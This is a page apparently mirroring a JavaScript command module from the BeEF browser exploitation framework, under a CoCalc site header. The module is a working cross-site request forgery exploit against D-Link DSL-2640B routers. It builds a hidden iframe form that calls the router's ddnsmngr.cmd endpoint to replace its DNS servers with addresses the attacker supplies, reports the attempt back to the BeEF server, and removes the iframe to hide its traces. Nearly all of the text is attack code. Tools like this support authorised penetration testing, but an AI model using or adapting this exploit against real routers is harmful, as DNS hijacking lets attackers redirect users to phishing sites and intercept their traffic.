Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/exploits/router/dlink_dsl2640b_dns_hijack/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
9
// config
10
var target = 'http://<%= @rhost %>/ddnsmngr.cmd';
11
var dns1 = '<%= @dns1 %>';
12
var dns2 = '<%= @dns2 %>';
13
var timeout = 15;
14
15
// validate DNS server IP addresses
16
if (!beef.net.is_valid_ip(dns1)) {
17
beef.debug('Invalid Primary DNS server IP address was provided');
18
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
19
return;
20
}
21
if (!beef.net.is_valid_ip(dns2)) {
22
beef.debug('Invalid Secondary DNS server IP address was provided');
23
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
24
return;
25
}
26
27
// change DNS
28
var dlink_2640b_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [
29
{'type':'hidden', 'name':'action', 'value': 'apply'},
30
{'type':'hidden', 'name':'service', 'value': '0'},
31
{'type':'hidden', 'name':'enbl', 'value': '0'},
32
{'type':'hidden', 'name':'dnsPrimary', 'value': dns1},
33
{'type':'hidden', 'name':'dnsSecondary', 'value': dns2},
34
{'type':'hidden', 'name':'dnsDynamic', 'value': '0'},
35
{'type':'hidden', 'name':'dnsRefresh', 'value': '1'},
36
{'type':'hidden', 'name':'dns6Type', 'value': 'DHCP'}
37
]);
38
39
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
40
41
// clean up
42
cleanup = function() {
43
document.body.removeChild(dlink_2640b_iframe_<%= @command_id %>);
44
}
45
setTimeout("cleanup()", timeout*1000);
46
47
});
48
49
50